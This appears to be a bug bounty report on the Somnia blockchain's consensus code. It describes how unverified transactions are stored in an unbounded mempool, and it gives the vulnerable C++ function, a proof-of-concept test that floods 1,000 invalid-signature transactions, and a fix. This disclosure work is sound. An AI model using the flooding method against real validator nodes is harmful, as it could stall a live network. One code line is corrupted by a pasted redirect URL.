https://github.com/hackenproof-public/somnia
The ConsensusDataChainManager, a core component of the consensus layer, is vulnerable to a resource exhaustion attack that can lead to a consensus stall. The manager's mempool accepts and stores AdvanceDataChainTransaction objects from the network before performing the computationally expensive verification of their QuorumSignature.
An attacker can exploit this "store-first, validate-later" pattern by flooding a validator node with a high volume of transactions containing invalid signatures. The node is forced to allocate memory for each of these invalid transactions and waste significant CPU cycles attempting to validate them during the block proposal phase. This starves the node of resources required to process legitimate transactions preventing it from effectively participating in consensus and leading to a liveness failure for the entire PBFT network.
The vulnerability is a logical flaw in the transaction ingress path of the consensus engine. The AddTransactionToMempool function fails to perform immediate, critical cryptographic validation.
Ingress: A validator node receives an AdvanceDataChainTransaction from a peer. This message is passed to ConsensusManager, which routes it to ConsensusDataChainManager::AddTransactionToMempool.
Insufficient Initial Validation: The AddTransactionToMempool function performs only cheap, preliminary metadata checks ( GetTransactionExecutionStatus). It does not call the transaction.Verify(...) method, which is the function that perform the expensive BLS quorum signature verification.
Unvalidated State Stored: If the cheap metadata checks pass, the unverified transaction is immediately stored in the data_chain_mempools map, a member variable of the ConsensusDataChainManager. This map has no upper bound on its size.
Code Reference (somnia/consensus/consensus_data_chain_manager.cc):
void ConsensusDataChainManager::AddTransactionToMempool(AdvanceDataChainTransaction transaction) {
if (GetTransactionExecutionStatus(transaction) ==
pbft::PbftExecutionStatus::CAN_NEVER_BE_EXECUTED) {
// ... cheap metadata check ...
return;
}
// ... logic to check for duplicates ...
// VULNERABILITY: The transaction is stored without signature verification.
data_chain_mempool
.received_advancement_transactions[transaction.head_commitment.data_chain_height] =
std::move(transaction);
}
Deferred Validation: The expensive signature verification is deferred until the node is ready to propose a new PBFT block, inside the ProposeAdvanceTransactionFromMempool function. At this point, the node iterates through its now-bloated mempool, wasting significant resources on invalid data.
The vulnerability is proven by the C++ test case MempoolAcceptsTransactionsWithInvalidSignatures, which was added to the ConsensusDataChainManagerTest suite.
Scenario: The test simulate an attacker flooding the ConsensusDataChainManager with 1,000 AdvanceDataChainTransaction objects. Each transaction is crafted with a plausible header but a computationally trivial, invalid QuorumSignature.
Action: The test call consensus_data_chain_manager.AddTransactionToMempool for each of the 1,000 malicious transactions.
Verified Result: The test then call consensus_data_chain_manager.ProposeTransactionsFromMempool. The successful execution (PASS) of the test proves the vulnerability. It demonstrates that:
ProposeTransactionsFromMempool function was then forced to iterate over and perform expensive validation checks on all 1,000 invalid entries before correctly finding none to propose, confirming the CPU exhaustion vector.This sequence of events prove that an attacker can force a validator to waste its resources on invalid data directly impacting its ability to participate in consensus.
Consensus Flaw (Liveness Failure): By overwhelming a validator's memory and CPU, an attacker can prevent it from processing valid AdvanceDataChainTransaction messages from honest peers in a timely manner. The validator may fail to contribute to proposals or vote within the PBFT protocol's time limits. If a sufficient number of validators (f+1) are targeted by this attack, the entire network can fail to reach consensus, resulting in a chain halt.
Resource Exhaustion DoS: This is the direct mechanism of the attack. The unbounded growth of the data_chain_mempools map leads to memory exhaustion (OOM crashes), and the deferred validation leads to CPU exhaustion, starving other critical node processes.
The AddTransactionToMempool function should perform full cryptographic validation before storing any transaction data in memory.
The transaction.Verify(*current_epoch_data) check should be moved from ProposeAdvanceTransactionFromMempool to the beginning of AddTransactionToMempool. Any transaction that fail this signature verification should be immediately discarded and never enqueued. This "validate-first, store-later" approach is a standard security practice that mitigate this entire class of resource exhaustion vulnerabilities.
// This test prove that the ConsensusDataChainManager stores AdvanceDataChainTransaction
// objects in its mempool before verifying their expensive quorum signatures. An attacker
// can exploit this by flooding a node with transactions containing invalid signatures,
// consuming unbounded memory and CPU, and potentially stalling the consensus process.
TEST_F(ConsensusDataChainManagerTest, MempoolAcceptsTransactionsWithInvalidSignatures) {
// 1. SETUP: I use the test fixture initialized ConsensusDataChainManager.
// Create a data chain ID for the attacker to target.
Address data_chain_owner = epoch_data.GetAddressForReplica(0);
DataChainId data_chain_id;
data_chain_id.data_chain_owner = data_chain_owner;
data_chain_id.data_chain_epoch_number = 0;
// 2. ATTACK: Flood the manager mempool with transactions that have
// plausible headers but invalid signatures.
const int num_malicious_txs = 1000;
for (int i = 0; i < num_malicious_txs; ++i) {
// Create a valid-looking head commitment.
DataChain::HeadCommitment head_commitment;
head_commitment.data_chain_id = data_chain_id;
head_commitment.data_chain_height = i + 1; // Use a unique height to avoid being filtered as a duplicate.
DataChain::HeadCommitment::HeadBlock block;
block.block_hash = HashFromInt(i);
head_commitment.head_blocks.emplace_back(block);
// Create the transaction object.
AdvanceDataChainTransaction malicious_tx;
malicious_tx.head_commitment = head_commitment;
// I provide an empty/invalid quorum signature. A secure implementation
// would reject this immediately upon receipt.
malicious_tx.quorum_signature = {};
// Add the malicious transaction to the mempool. The vulnerable code path
// will perform cheap metadata checks, pass them and store the transaction.
consensus_data_chain_manager.AddTransactionToMempool(std::move(malicious_tx));
}
// 3. VERIFICATION AND ASSERTION: prove the transactions were stored by showing
// that the `ProposeTransactionsFromMempool` function must iterate over them.
std::vector<AdvanceDataChainTransaction> proposed_txs;
consensus_data_chain_manager.ProposeTransactionsFromMempool(
[&](https://dashboard.hackenproof.com/redirect?url=const AdvanceDataChainTransaction& tx) {
// This callback will only be invoked for transactions that are successfully
// verified inside ProposeTransactionsFromMempool.
proposed_txs.push_back(tx);
}
);
// The test asserts that after the proposer did its work, NO valid transactions were found.
// The fact that the test can complete without crashing and that the proposer had to
// process a mempool full of invalid transactions is the proof of the resource exhaustion
// vector. A secure implementation would have rejected the transactions upfront, and the
// mempool would be empty.
ASSERT_TRUE(proposed_txs.empty())
<< "The proposer should not have found any valid transactions, but the fact that it had to "
<< "process a mempool bloated with unvalidated transactions proves the DoS vector."
}